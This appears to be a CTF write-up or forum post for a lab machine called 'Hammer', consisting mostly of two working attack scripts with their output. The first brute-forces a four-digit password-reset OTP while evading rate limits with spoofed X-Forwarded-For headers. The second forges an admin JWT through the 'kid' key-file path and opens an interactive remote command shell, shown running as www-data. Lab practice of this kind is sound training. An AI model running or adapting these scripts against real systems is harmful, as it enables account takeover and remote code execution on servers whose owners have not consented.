Let’s talk about Hammer
.
Found the logs file and an email.
http://hammer.thm:1337/hmr_logs/error.logs
[Mon Aug 19 12:01:22.987654 2024] [authz_core:error] [pid 12346:tid 139999999999998] [client 192.168.1.15:45918] AH01630: client denied by server configuration: /var/www/html/
[Mon Aug 19 12:02:34.876543 2024] [authz_core:error] [pid 12347:tid 139999999999997] [client 192.168.1.12:37210] AH01631: user tester@hammer.thm: authentication failure for "/restricted-area": Password Mismatch
Bypass rate limit with X-Forwarded-For: 127.0.0.1
header
You can use this script to brute force the OTP code quickly. Don’t forget to change 'Cookie': 'PHPSESSID=xxxxxxxxxxxxxxxxxxxxxxxxxx',
header as the cookie on your browser.
import aiohttp
import asyncio
import random
def generate_random_ip():
return f"{random.randint(1, 255)}.{random.randint(0, 255)}.{random.randint(0, 255)}.{random.randint(1, 255)}"
async def send_request(session, code):
url = 'http://hammer.thm:1337/reset_password.php'
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br',
'Content-Type': 'application/x-www-form-urlencoded',
'Connection': 'close',
'Cookie': 'PHPSESSID=xxxxxxxxxxxxxxxxxxxxxxxxxx',
'Upgrade-Insecure-Requests': '1',
'X-Forwarded-For': generate_random_ip()
}
data = {
'recovery_code': str(code).zfill(4),
's': '162'
}
async with session.post(url, headers=headers, data=data) as response:
text = await response.text()
print(f"Code: {code}, Response: {len(text)}")
async def main():
async with aiohttp.ClientSession() as session:
tasks = []
for i in range(0, 10000, 100):
for j in range(i, i + 100):
tasks.append(send_request(session, j))
await asyncio.gather(*tasks)
tasks = []
asyncio.run(main())
Once the code is cracked, the response length will be changed. Then go back to the browser, reset the page and set a new password.
Code: 5548, Response: 2202
Code: 5549, Response: 2202
Code: 5550, Response: 2202
Code: 5551, Response: 2202
Code: 5552, Response: 2202
Code: 5554, Response: 2202
Code: 5553, Response: 2191
Code: 5575, Response: 2292
Code: 5555, Response: 2292
Code: 5556, Response: 2292
Code: 5557, Response: 2292
Code: 5558, Response: 2292
Code: 5559, Response: 2292
Code: 5560, Response: 2292
Code: 5561, Response: 2292
Code: 5562, Response: 2292
Code: 5563, Response: 2292
Code: 5585, Response: 2292
Code: 5564, Response: 2292
Code: 5565, Response: 2292
Nice challenge! A little bit of JWT experience is enough to craft tokens. You can learn more at CryptoHack – Crypto on the Web challenges
In addition, you can use the PyJWT library to create tokens.
Here’s an unauthenticated and unrestricted RCE script if you stuck on generating a token.
import requests, base64, hmac, hashlib, json, time, sys
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <URL>")
print(f"Example: {sys.argv[0]} http://1.1.1.1:1337")
sys.exit(1)
def base64_url_encode(data):
return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')
def create_jwt(header, payload, secret):
header_encoded = base64_url_encode(json.dumps(header).encode('utf-8'))
payload_encoded = base64_url_encode(json.dumps(payload).encode('utf-8'))
message = f'{header_encoded}.{payload_encoded}'.encode('utf-8')
signature = hmac.new(secret.encode('utf-8'), message, hashlib.sha256).digest()
signature_encoded = base64_url_encode(signature)
jwt_token = f'{header_encoded}.{payload_encoded}.{signature_encoded}'
return jwt_token
if __name__ == "__main__":
header = {"alg": "HS256","typ": "JWT","kid":"/var/www/html/188ade1.key"}
data = {"iss":"http://hammer.thm","aud":"http://hammer.thm","iat":int(time.time()),"exp":int(time.time()+10000),"data":{"user_id":1,"email":"tester@hammer.thm","role":"admin"}}
secret = "56058354efb3daa97ebab00fabd7a7d7" # curl $URL/188ade1.key
jwt_token = create_jwt(header, data, secret)
url = f"{sys.argv[1]}/execute_command.php"
cookies = {"PHPSESSID": "AAAAAAAAAAA", "token": jwt_token, "persistentSession": "yes"}
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Content-Type": "application/json", "Authorization": f"Bearer {jwt_token}", "X-Requested-With": "XMLHttpRequest", "Connection": "keep-alive",}
while True:
command = input("$ ")
if command == "exit":
break
try:
r = requests.post(url, headers=headers, cookies=cookies, json={"command": command})
print(r.json()["output"])
except Exception as e:
print(e)
Works like a charm!
$ ls
188ade1.key
composer.json
config.php
dashboard.php
execute_command.php
hmr_css
hmr_images
hmr_js
hmr_logs
index.php
logout.php
reset_password.php
vendor
$ whoami
www-data
$